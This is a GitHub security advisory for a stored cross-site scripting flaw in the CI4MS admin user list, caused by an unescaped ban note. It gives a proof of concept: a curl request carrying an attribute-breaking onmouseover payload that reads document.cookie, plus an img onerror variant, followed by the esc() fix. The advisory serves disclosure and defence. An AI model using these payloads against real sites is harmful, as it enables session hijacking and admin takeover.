Skip to content

CI4MS has stored XSS via Unescaped Blacklist Note in Admin User List

Moderate severity GitHub Reviewed Published Apr 7, 2026 in ci4-cms-erp/ci4ms • Updated Apr 8, 2026

Package

composer ci4-cms-erp/ci4ms (Composer)

Affected versions

<= 0.31.3.0

Patched versions

0.31.4.0

Description

Summary

The blacklist (ban) note parameter in UserController::ajax_blackList_post() is stored in the database without sanitization and rendered into an HTML data-note attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.

Details

In modules/Users/Controllers/UserController.php, the ajax_blackList_post() method (line 344-362) accepts a note POST parameter with only a required validation rule:

// Line 347 — validation only checks 'required', no sanitization
$valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'],
             'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]);

// Line 352 — raw user input passed directly to ban()
$user->ban($this->request->getPost('note'));

Shield's Bannable::ban() trait stores the message as-is:

// vendor/codeigniter4/shield/src/Traits/Bannable.php
public function ban(?string $message = null): self
{
    $this->status         = 'banned';
    $this->status_message = $message;  // No escaping
    // ...
}

In the users() method (line 13-91), when building the DataTables response, the status_message is concatenated directly into HTML without escaping:

// Line 55 — esc() IS used here (correct)
$result->fullname = esc($result->firstname) . ' ' . esc($result->surname);

// Line 58-59 — NO esc() on status_message (vulnerable)
if ($result->status == 'banned'):
    $result->actions .= '<button ... data-note="' . $result->status_message . '">'

The HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled ($CSPEnabled = false in App.php), and no SecureHeaders filter is applied.

PoC

Step 1 — Store XSS payload via ban endpoint:

curl -X POST 'https://TARGET/backend/users/blackList' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \
  -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22'

Expected response: {"result":true,"error":{"type":"success","message":"..."}}

Step 2 — Trigger payload:
Any admin navigating to /backend/users will receive HTML containing:

<button ... data-note="" onmouseover="alert(document.cookie)" x="">

The XSS fires when the admin hovers over the blacklist button for the banned user.

Alternative immediate-execution payload:

note="><img src=x onerror=alert(document.cookie)>

Impact

  • Session hijacking: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).
  • Privilege escalation: A lower-privileged admin could use stolen superadmin sessions to gain full control.
  • Persistent: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.

Recommended Fix

Wrap status_message with esc() to match the escaping already applied to other user fields on line 55:

// In users() method, line 58-59 — change:
$result->actions .= '<button type="button" class="btn btn-outline-dark btn-sm open-blacklist-modal"
                        data-id="' . $result->id . '" data-status="' . $result->status . '" data-note="' . esc($result->status_message) . '"><i

References

@bertugfahriozer bertugfahriozer published to ci4-cms-erp/ci4ms Apr 7, 2026
Published by the National Vulnerability Database Apr 8, 2026
Published to the GitHub Advisory Database Apr 8, 2026
Reviewed Apr 8, 2026
Last updated Apr 8, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-39391

GHSA ID

GHSA-7cm9-v848-cfh2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.